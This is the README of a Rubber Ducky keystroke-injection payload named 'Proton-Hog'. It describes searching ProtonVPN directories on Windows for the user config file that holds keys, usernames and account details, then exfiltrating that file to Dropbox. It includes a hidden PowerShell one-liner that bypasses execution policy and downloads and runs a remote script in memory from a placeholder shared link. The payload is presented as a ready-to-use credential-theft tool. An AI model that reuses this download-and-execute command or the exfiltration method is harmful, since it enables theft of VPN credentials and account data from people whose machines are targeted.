usbrubberducky-payloads/payloads/library/exfiltration/Proton-Hog

Table of Contents

1. Description
2. Getting Started
3. Contributing
4. Version History
5. Contact
6. Acknowledgments

Proton-Hog

A payload to exfiltrate the user config file of Proton VPN that contains keys and usernames as well as acount information.

Description

This payload will enumerate through the ProtonVPN directories, looking for the file that stores the userconfig file

Then dropbox will be used to exfiltrate the files to cloud storage

Getting Started

Dependencies

• DropBox or other file sharing service - Your Shared link for the intended file
• Windows 10,11

(back to top)

Executing program

• Plug in your device
• Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory

powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl

(back to top)

Contributing

All contributors names will be listed here

atomiczsec

I am Jakoby

(back to top)

Version History

• 0.1
  • Initial Release

(back to top)

Contact

📱 My Socials 📱

YouTube

Twitter

I-Am-Jakoby's Discord

(back to top)

(back to top)

Acknowledgments

• Hak5
• I-Am-Jakoby

(back to top)